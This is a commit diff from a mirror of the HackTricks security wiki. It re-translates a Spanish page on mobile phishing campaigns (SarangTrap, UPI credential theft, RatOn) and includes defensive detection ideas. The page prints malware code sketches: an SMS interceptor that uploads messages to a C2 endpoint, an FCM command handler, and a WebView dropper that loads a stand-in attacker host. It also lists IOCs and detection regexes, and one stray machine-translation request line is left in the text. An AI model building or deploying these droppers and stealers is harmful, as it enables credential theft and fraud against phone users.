mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/phishing-methodolog
This commit is contained in:
parent
fbf53fcb78
commit
40b0dfeba3
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
|
|||||||
logger.addHandler(handler2)
|
logger.addHandler(handler2)
|
||||||
|
|
||||||
|
|
||||||
def findtitle(search ,obj, key, path=(),):
|
def findtitle(search, obj, key, path=()):
|
||||||
# logger.debug(f"Looking for {search} in {path}")
|
# logger.debug(f"Looking for {search} in {path}")
|
||||||
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
||||||
return obj, path
|
return obj, path
|
||||||
@ -54,26 +54,42 @@ def ref(matchobj):
|
|||||||
if href.endswith("/"):
|
if href.endswith("/"):
|
||||||
href = href+"README.md" # Fix if ref points to a folder
|
href = href+"README.md" # Fix if ref points to a folder
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
result = findtitle(href.split("#")[0], book, "source_path")
|
||||||
title = " ".join(href.split("#")[1].split("-")).title()
|
if result is not None:
|
||||||
logger.debug(f'Ref has # using title: {title}')
|
chapter, _path = result
|
||||||
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
|
||||||
else:
|
else:
|
||||||
chapter, _path = findtitle(href, book, "source_path")
|
result = findtitle(href, book, "source_path")
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
if result is not None:
|
||||||
title = chapter['name']
|
chapter, _path = result
|
||||||
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
|
title = chapter['name']
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for path: {href}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
dir = path.dirname(current_chapter['source_path'])
|
dir = path.dirname(current_chapter['source_path'])
|
||||||
rel_path = path.normpath(path.join(dir,href))
|
rel_path = path.normpath(path.join(dir,href))
|
||||||
try:
|
try:
|
||||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||||
title = " ".join(href.split("#")[1].split("-")).title()
|
if result is not None:
|
||||||
logger.debug(f'Ref has # using title: {title}')
|
chapter, _path = result
|
||||||
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
|
||||||
else:
|
else:
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
||||||
title = chapter["name"]
|
if result is not None:
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
chapter, _path = result
|
||||||
|
title = chapter["name"]
|
||||||
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(e)
|
logger.debug(e)
|
||||||
logger.error(f'Error getting chapter title: {rel_path}')
|
logger.error(f'Error getting chapter title: {rel_path}')
|
||||||
|
@ -768,7 +768,7 @@
|
|||||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||||
@ -837,8 +837,9 @@
|
|||||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||||
|
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||||
|
|
||||||
# 🤖 AI
|
# 🤖 AI
|
||||||
- [AI Security](AI/README.md)
|
- [AI Security](AI/README.md)
|
||||||
|
@ -1,67 +1,67 @@
|
|||||||
# Phishing Móvil y Distribución de Aplicaciones Maliciosas (Android e iOS)
|
# Mobile Phishing & Malicious App Distribution (Android & iOS)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!INFO]
|
> [!INFO]
|
||||||
> Esta página cubre técnicas utilizadas por actores de amenazas para distribuir **APKs maliciosos de Android** y **perfiles de configuración móvil de iOS** a través de phishing (SEO, ingeniería social, tiendas falsas, aplicaciones de citas, etc.).
|
> Esta página cubre técnicas usadas por actores de amenazas para distribuir **malicious Android APKs** y **iOS mobile-configuration profiles** mediante phishing (SEO, ingeniería social, tiendas falsas, apps de citas, etc.).
|
||||||
> El material está adaptado de la campaña SarangTrap expuesta por Zimperium zLabs (2025) y otras investigaciones públicas.
|
> El material está adaptado de la campaña SarangTrap expuesta por Zimperium zLabs (2025) y otras investigaciones públicas.
|
||||||
|
|
||||||
## Flujo de Ataque
|
## Attack Flow
|
||||||
|
|
||||||
1. **Infraestructura SEO/Phishing**
|
1. **SEO/Phishing Infrastructure**
|
||||||
* Registrar docenas de dominios similares (citas, compartir en la nube, servicio de coches…).
|
* Registrar docenas de dominios similares (dating, cloud share, car service…).
|
||||||
– Usar palabras clave en el idioma local y emojis en el elemento `<title>` para posicionarse en Google.
|
– Usar palabras clave en el idioma local y emojis en el elemento `<title>` para posicionar en Google.
|
||||||
– Alojar *tanto* las instrucciones de instalación de Android (`.apk`) como de iOS en la misma página de destino.
|
– Hospedar *tanto* instrucciones de instalación para Android (`.apk`) como para iOS en la misma landing page.
|
||||||
2. **Descarga de Primera Etapa**
|
2. **First Stage Download**
|
||||||
* Android: enlace directo a un APK *no firmado* o de “tienda de terceros”.
|
* Android: enlace directo a un APK *unsigned* o de “third-party store”.
|
||||||
* iOS: `itms-services://` o enlace HTTPS simple a un perfil **mobileconfig** malicioso (ver abajo).
|
* iOS: `itms-services://` o enlace HTTPS simple a un **mobileconfig** malicioso (ver más abajo).
|
||||||
3. **Ingeniería Social Post-instalación**
|
3. **Post-install Social Engineering**
|
||||||
* En la primera ejecución, la aplicación solicita un **código de invitación/verificación** (ilusión de acceso exclusivo).
|
* En la primera ejecución la app solicita un **invitation / verification code** (ilusión de acceso exclusivo).
|
||||||
* El código se **envía por POST a través de HTTP** al Comando y Control (C2).
|
* El código se **POSTea por HTTP** al Command-and-Control (C2).
|
||||||
* C2 responde `{"success":true}` ➜ el malware continúa.
|
* C2 responde `{"success":true}` ➜ el malware continúa.
|
||||||
* Un análisis dinámico en sandbox/AV que nunca envía un código válido no ve **comportamiento malicioso** (evasión).
|
* El análisis dinámico de Sandbox / AV que nunca envía un código válido no ve **comportamiento malicioso** (evasión).
|
||||||
4. **Abuso de Permisos en Tiempo de Ejecución** (Android)
|
4. **Runtime Permission Abuse** (Android)
|
||||||
* Los permisos peligrosos solo se solicitan **después de una respuesta positiva del C2**:
|
* Los permisos peligrosos solo se solicitan **tras una respuesta positiva del C2**:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||||
<!-- Las versiones más antiguas también solicitaban permisos de SMS -->
|
<!-- Older builds also asked for SMS permissions -->
|
||||||
```
|
```
|
||||||
* Las variantes recientes **eliminan `<uses-permission>` para SMS de `AndroidManifest.xml`** pero dejan la ruta de código Java/Kotlin que lee SMS a través de reflexión ⇒ reduce la puntuación estática mientras sigue siendo funcional en dispositivos que otorgan el permiso a través del abuso de `AppOps` o objetivos antiguos.
|
* Variantes recientes **eliminan `<uses-permission>` para SMS del `AndroidManifest.xml`** pero mantienen la ruta de código Java/Kotlin que lee SMS mediante reflection ⇒ reduce la puntuación estática mientras sigue funcionando en dispositivos que conceden el permiso vía `AppOps` abuse o targets antiguos.
|
||||||
5. **Interfaz de Facade y Recolección en Segundo Plano**
|
5. **Facade UI & Background Collection**
|
||||||
* La aplicación muestra vistas inofensivas (visor de SMS, selector de galería) implementadas localmente.
|
* La app muestra vistas inocuas (visor de SMS, selector de galería) implementadas localmente.
|
||||||
* Mientras tanto, exfiltra:
|
* Mientras tanto exfiltra:
|
||||||
- IMEI / IMSI, número de teléfono
|
- IMEI / IMSI, número de teléfono
|
||||||
- Volcado completo de `ContactsContract` (array JSON)
|
- Volcado completo de `ContactsContract` (array JSON)
|
||||||
- JPEG/PNG de `/sdcard/DCIM` comprimido con [Luban](https://github.com/Curzibn/Luban) para reducir tamaño
|
- JPEG/PNG desde `/sdcard/DCIM` comprimidos con [Luban](https://github.com/Curzibn/Luban) para reducir tamaño
|
||||||
- Contenido opcional de SMS (`content://sms`)
|
- SMS opcional (`content://sms`)
|
||||||
Los payloads son **comprimidos en lotes** y enviados a través de `HTTP POST /upload.php`.
|
Los payloads se **empaquetan en lotes (batch-zipped)** y se envían vía `HTTP POST /upload.php`.
|
||||||
6. **Técnica de Entrega en iOS**
|
6. **iOS Delivery Technique**
|
||||||
* Un solo **perfil de configuración móvil** puede solicitar `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, etc. para inscribir el dispositivo en una supervisión similar a “MDM”.
|
* Un único **mobile-configuration profile** puede requerir `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration`, etc. para inscribir el dispositivo en una supervisión tipo “MDM”.
|
||||||
* Instrucciones de ingeniería social:
|
* Instrucciones de ingeniería social:
|
||||||
1. Abrir Configuración ➜ *Perfil descargado*.
|
1. Abrir Settings ➜ *Profile downloaded*.
|
||||||
2. Tocar *Instalar* tres veces (capturas de pantalla en la página de phishing).
|
2. Tocar *Install* tres veces (capturas en la página de phishing).
|
||||||
3. Confiar en el perfil no firmado ➜ el atacante obtiene derechos de *Contactos* y *Fotos* sin revisión de la App Store.
|
3. Trust el perfil unsigned ➜ el atacante obtiene las entitlements de *Contacts* & *Photo* sin revisión de App Store.
|
||||||
7. **Capa de Red**
|
7. **Network Layer**
|
||||||
* HTTP simple, a menudo en el puerto 80 con encabezado HOST como `api.<phishingdomain>.com`.
|
* HTTP plano, a menudo en el puerto 80 con HOST header como `api.<phishingdomain>.com`.
|
||||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sin TLS → fácil de detectar).
|
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (sin TLS → fácil de detectar).
|
||||||
|
|
||||||
## Pruebas Defensivas / Consejos para Red-Team
|
## Defensive Testing / Red-Team Tips
|
||||||
|
|
||||||
* **Evasión de Análisis Dinámico** – Durante la evaluación de malware, automatizar la fase del código de invitación con Frida/Objection para alcanzar la rama maliciosa.
|
* **Dynamic Analysis Bypass** – Durante la evaluación del malware, automatizar la fase del invitation code con Frida/Objection para alcanzar la rama maliciosa.
|
||||||
* **Diferencia entre Manifest y Runtime** – Comparar `aapt dump permissions` con `PackageManager#getRequestedPermissions()` en tiempo de ejecución; la falta de permisos peligrosos es una señal de alerta.
|
* **Manifest vs. Runtime Diff** – Comparar `aapt dump permissions` con el runtime `PackageManager#getRequestedPermissions()`; permisos peligrosos ausentes son una señal de alerta.
|
||||||
* **Canario de Red** – Configurar `iptables -p tcp --dport 80 -j NFQUEUE` para detectar ráfagas de POST no sólidas después de la entrada del código.
|
* **Network Canary** – Configurar `iptables -p tcp --dport 80 -j NFQUEUE` para detectar ráfagas inusuales de POST tras la entrada del código.
|
||||||
* **Inspección de mobileconfig** – Usar `security cms -D -i profile.mobileconfig` en macOS para listar `PayloadContent` y detectar derechos excesivos.
|
* **mobileconfig Inspection** – Usar `security cms -D -i profile.mobileconfig` en macOS para listar `PayloadContent` y detectar entitlements excesivos.
|
||||||
|
|
||||||
## Ideas de Detección para Blue-Team
|
## Blue-Team Detection Ideas
|
||||||
|
|
||||||
* **Transparencia de Certificados / Análisis de DNS** para detectar ráfagas repentinas de dominios ricos en palabras clave.
|
* **Certificate Transparency / DNS Analytics** para capturar estallidos repentinos de dominios ricos en palabras clave.
|
||||||
* **Regex de User-Agent y Ruta**: `(?i)POST\s+/(check|upload)\.php` de clientes Dalvik fuera de Google Play.
|
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` desde clientes Dalvik fuera de Google Play.
|
||||||
* **Telemetría de Código de Invitación** – POST de códigos numéricos de 6 a 8 dígitos poco después de la instalación del APK puede indicar preparación.
|
* **Invite-code Telemetry** – POST de códigos numéricos de 6–8 dígitos poco después de la instalación del APK puede indicar staging.
|
||||||
* **Firma de MobileConfig** – Bloquear perfiles de configuración no firmados a través de políticas MDM.
|
* **MobileConfig Signing** – Bloquear configuration profiles unsigned vía políticas MDM.
|
||||||
|
|
||||||
## Fragmento Útil de Frida: Bypass Automático del Código de Invitación
|
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||||
```python
|
```python
|
||||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||||
# Hook HttpURLConnection write to always return success
|
# Hook HttpURLConnection write to always return success
|
||||||
@ -90,28 +90,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
|||||||
|
|
||||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||||
|
|
||||||
Este patrón se ha observado en campañas que abusan de temas de beneficios gubernamentales para robar credenciales y OTPs de UPI en India. Los operadores encadenan plataformas reputables para la entrega y la resiliencia.
|
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
||||||
|
|
||||||
### Cadena de entrega a través de plataformas de confianza
|
### Cadena de entrega a través de plataformas de confianza
|
||||||
- Cebo de video de YouTube → la descripción contiene un enlace corto
|
- YouTube video lure → la descripción contiene un enlace corto
|
||||||
- Enlace corto → sitio de phishing de GitHub Pages imitando el portal legítimo
|
- Enlace corto → sitio de phishing en GitHub Pages que imita el portal legítimo
|
||||||
- El mismo repositorio de GitHub alberga un APK con una falsa insignia de “Google Play” que enlaza directamente al archivo
|
- El mismo repo de GitHub aloja un APK con una insignia falsa “Google Play” que enlaza directamente al archivo
|
||||||
- Páginas de phishing dinámicas viven en Replit; el canal de comando remoto utiliza Firebase Cloud Messaging (FCM)
|
- Páginas de phishing dinámicas alojadas en Replit; el canal remoto de comandos usa Firebase Cloud Messaging (FCM)
|
||||||
|
|
||||||
### Dropper con carga útil incrustada e instalación offline
|
### Dropper con payload embebido e instalación sin conexión
|
||||||
- El primer APK es un instalador (dropper) que envía el malware real en `assets/app.apk` y solicita al usuario que desactive Wi‑Fi/datos móviles para atenuar la detección en la nube.
|
- El primer APK es un installer (dropper) que incluye el malware real en `assets/app.apk` y solicita al usuario que desactive Wi‑Fi/datos móviles para mitigar la detección en la nube.
|
||||||
- La carga útil incrustada se instala bajo una etiqueta inocua (por ejemplo, “Actualización Segura”). Después de la instalación, tanto el instalador como la carga útil están presentes como aplicaciones separadas.
|
- El payload embebido se instala bajo una etiqueta inocua (p. ej., “Secure Update”). Después de la instalación, tanto el installer como el payload están presentes como apps separadas.
|
||||||
|
|
||||||
Consejo de triaje estático (grep para cargas útiles incrustadas):
|
Consejo para triage estático (usar grep para payloads embebidos):
|
||||||
```bash
|
```bash
|
||||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||||
# Or:
|
# Or:
|
||||||
zipgrep -i "classes|.apk" sample.apk | head
|
zipgrep -i "classes|.apk" sample.apk | head
|
||||||
```
|
```
|
||||||
### Descubrimiento dinámico de puntos finales a través de un enlace corto
|
### Descubrimiento dinámico de endpoints mediante shortlink
|
||||||
- El malware obtiene una lista de puntos finales activos en texto plano, separados por comas, de un enlace corto; transformaciones de cadena simples producen la ruta final de la página de phishing.
|
- Malware obtiene una lista en texto plano, separada por comas, de endpoints activos desde un shortlink; simples transformaciones de cadena producen la ruta final de la página de phishing.
|
||||||
|
|
||||||
Ejemplo (sanitizado):
|
Ejemplo (saneado):
|
||||||
```
|
```
|
||||||
GET https://rebrand.ly/dclinkto2
|
GET https://rebrand.ly/dclinkto2
|
||||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||||
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
|||||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||||
```
|
```
|
||||||
Pseudo-código:
|
Pseudocódigo:
|
||||||
```java
|
```java
|
||||||
String csv = httpGet(shortlink);
|
String csv = httpGet(shortlink);
|
||||||
String[] parts = csv.split(",");
|
String[] parts = csv.split(",");
|
||||||
@ -127,8 +127,8 @@ String upiPage = parts[0].replace("gate.html", "gate.htm");
|
|||||||
String smsPost = parts[1];
|
String smsPost = parts[1];
|
||||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||||
```
|
```
|
||||||
### Recolección de credenciales UPI basada en WebView
|
### Captura de credenciales UPI basada en WebView
|
||||||
- El paso “Realizar pago de ₹1 / UPI‑Lite” carga un formulario HTML del atacante desde el punto final dinámico dentro de un WebView y captura campos sensibles (teléfono, banco, PIN de UPI) que son `POST`eados a `addup.php`.
|
- El paso “Make payment of ₹1 / UPI‑Lite” carga un formulario HTML malicioso desde el endpoint dinámico dentro de un WebView y captura campos sensibles (teléfono, banco, UPI PIN) que se envían mediante `POST` a `addup.php`.
|
||||||
|
|
||||||
Cargador mínimo:
|
Cargador mínimo:
|
||||||
```java
|
```java
|
||||||
@ -137,17 +137,17 @@ wv.getSettings().setJavaScriptEnabled(true);
|
|||||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||||
```
|
```
|
||||||
### Autopropagación e interceptación de SMS/OTP
|
### Autopropagación e interceptación de SMS/OTP
|
||||||
- Se solicitan permisos agresivos en el primer uso:
|
- Se solicitan permisos agresivos en la primera ejecución:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||||
```
|
```
|
||||||
- Los contactos se utilizan para enviar masivamente SMS de smishing desde el dispositivo de la víctima.
|
- Los contactos se recorren para enviar masivamente smishing SMS desde el dispositivo de la víctima.
|
||||||
- Los SMS entrantes son interceptados por un receptor de difusión y se cargan con metadatos (remitente, cuerpo, ranura SIM, ID aleatorio por dispositivo) a `/addsm.php`.
|
- Los SMS entrantes son interceptados por un broadcast receiver y subidos con metadatos (remitente, cuerpo, SIM slot, ID aleatorio por dispositivo) a `/addsm.php`.
|
||||||
|
|
||||||
Receiver sketch:
|
Esquema del receiver:
|
||||||
```java
|
```java
|
||||||
public void onReceive(Context c, Intent i){
|
public void onReceive(Context c, Intent i){
|
||||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||||
@ -162,9 +162,9 @@ postForm(urlAddSms, new FormBody.Builder()
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Firebase Cloud Messaging (FCM) como C2 resiliente
|
### Firebase Cloud Messaging (FCM) como C2 resiliente
|
||||||
- La carga útil se registra en FCM; los mensajes push llevan un campo `_type` que se utiliza como un interruptor para activar acciones (por ejemplo, actualizar plantillas de texto de phishing, alternar comportamientos).
|
- El payload se registra en FCM; los push messages llevan un campo `_type` que se usa como switch para activar acciones (p. ej., actualizar plantillas de texto de phishing, alternar comportamientos).
|
||||||
|
|
||||||
Ejemplo de carga útil de FCM:
|
Ejemplo de payload de FCM:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"to": "<device_fcm_token>",
|
"to": "<device_fcm_token>",
|
||||||
@ -174,7 +174,7 @@ Ejemplo de carga útil de FCM:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Esbozo del controlador:
|
Esquema del handler:
|
||||||
```java
|
```java
|
||||||
@Override
|
@Override
|
||||||
public void onMessageReceived(RemoteMessage msg){
|
public void onMessageReceived(RemoteMessage msg){
|
||||||
@ -186,27 +186,178 @@ case "smish": sendSmishToContacts(); break;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Patrones de caza e IOCs
|
### Hunting patterns and IOCs
|
||||||
- APK contiene carga secundaria en `assets/app.apk`
|
- APK contiene payload secundario en `assets/app.apk`
|
||||||
- WebView carga el pago desde `gate.htm` y exfiltra a `/addup.php`
|
- WebView carga payment desde `gate.htm` y exfiltrates a `/addup.php`
|
||||||
- Exfiltración de SMS a `/addsm.php`
|
- SMS exfiltration a `/addsm.php`
|
||||||
- Obtención de configuración impulsada por enlaces cortos (por ejemplo, `rebrand.ly/*`) que devuelve puntos finales CSV
|
- Shortlink-driven config fetch (p. ej., `rebrand.ly/*`) que devuelve endpoints CSV
|
||||||
- Aplicaciones etiquetadas como “Actualización/Actualización Segura” genéricas
|
- Apps etiquetadas como genéricas “Update/Secure Update”
|
||||||
- Mensajes `data` de FCM con un discriminador `_type` en aplicaciones no confiables
|
- FCM `data` messages con un discriminador `_type` en apps no confiables
|
||||||
|
|
||||||
### Ideas de detección y defensa
|
### Detection & defence ideas
|
||||||
- Marcar aplicaciones que instruyen a los usuarios a desactivar la red durante la instalación y luego cargar lateralmente un segundo APK desde `assets/`.
|
- Señalizar apps que instruyen a los usuarios a desactivar la red durante la instalación y luego side-load un segundo APK desde `assets/`.
|
||||||
- Alertar sobre la tupla de permisos: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flujos de pago basados en WebView.
|
- Alertar sobre la tupla de permisos: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + flujos de pago basados en WebView.
|
||||||
- Monitoreo de salida para `POST /addup.php|/addsm.php` en hosts no corporativos; bloquear infraestructura conocida.
|
- Monitorización de egress para `POST /addup.php|/addsm.php` en hosts no corporativos; bloquear infraestructura conocida.
|
||||||
- Reglas de EDR móvil: aplicación no confiable registrándose para FCM y ramificándose en un campo `_type`.
|
- Mobile EDR rules: app no confiable registrándose en FCM y ramificándose según el campo `_type`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
## Android Accessibility/Overlay & Device Admin Abuse, ATS automation, and NFC relay orchestration – Estudio de caso RatOn
|
||||||
|
|
||||||
|
La campaña RatOn banker/RAT (ThreatFabric) es un ejemplo concreto de cómo las operaciones modernas de mobile phishing combinan WebView droppers, Accessibility-driven UI automation, overlays/ransom, Device Admin coercion, Automated Transfer System (ATS), crypto wallet takeover y hasta NFC-relay orchestration. Esta sección abstrae las técnicas reutilizables.
|
||||||
|
|
||||||
|
### Etapa-1: WebView → native install bridge (dropper)
|
||||||
|
|
||||||
|
Los atacantes muestran un WebView que apunta a una página maliciosa e inyectan una interfaz JavaScript que expone un instalador nativo. Un toque en un botón HTML llama a código nativo que instala un APK de segunda etapa empaquetado en los assets del dropper y luego lo lanza directamente.
|
||||||
|
|
||||||
|
Minimal pattern:
|
||||||
|
```java
|
||||||
|
public class DropperActivity extends Activity {
|
||||||
|
@Override protected void onCreate(Bundle b){
|
||||||
|
super.onCreate(b);
|
||||||
|
WebView wv = new WebView(this);
|
||||||
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
|
wv.addJavascriptInterface(new Object(){
|
||||||
|
@android.webkit.JavascriptInterface
|
||||||
|
public void installApk(){
|
||||||
|
try {
|
||||||
|
PackageInstaller pi = getPackageManager().getPackageInstaller();
|
||||||
|
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
|
||||||
|
int id = pi.createSession(p);
|
||||||
|
try (PackageInstaller.Session s = pi.openSession(id);
|
||||||
|
InputStream in = getAssets().open("payload.apk");
|
||||||
|
OutputStream out = s.openWrite("base.apk", 0, -1)){
|
||||||
|
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
|
||||||
|
}
|
||||||
|
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
|
||||||
|
pi.commit(id, status.getIntentSender());
|
||||||
|
} catch (Exception e) { /* log */ }
|
||||||
|
}
|
||||||
|
}, "bridge");
|
||||||
|
setContentView(wv);
|
||||||
|
wv.loadUrl("https://attacker.site/install.html");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Por favor pega el contenido HTML/Markdown de la página que quieres que traduzca al español.
|
||||||
|
```html
|
||||||
|
<button onclick="bridge.installApk()">Install</button>
|
||||||
|
```
|
||||||
|
Después de la instalación, el dropper inicia el payload mediante un package/activity explícito:
|
||||||
|
```java
|
||||||
|
Intent i = new Intent();
|
||||||
|
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
|
||||||
|
startActivity(i);
|
||||||
|
```
|
||||||
|
Hunting idea: untrusted apps calling `addJavascriptInterface()` and exposing installer-like methods to WebView; APK shipping an embedded secondary payload under `assets/` and invoking the Package Installer Session API.
|
||||||
|
|
||||||
|
### Embudo de consentimiento: Accessibility + Device Admin + avisos de tiempo de ejecución posteriores
|
||||||
|
Stage-2 opens a WebView that hosts an “Access” page. Its button invokes an exported method that navigates the victim to the Accessibility settings and requests enabling the rogue service. Once granted, malware uses Accessibility to auto-click through subsequent runtime permission dialogs (contacts, overlay, manage system settings, etc.) and requests Device Admin.
|
||||||
|
|
||||||
|
- Accessibility programáticamente ayuda a aceptar avisos posteriores buscando botones como “Allow”/“OK” en el árbol de nodos y simulando clics.
|
||||||
|
- Comprobación/solicitud del permiso overlay:
|
||||||
|
```java
|
||||||
|
if (!Settings.canDrawOverlays(ctx)) {
|
||||||
|
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
|
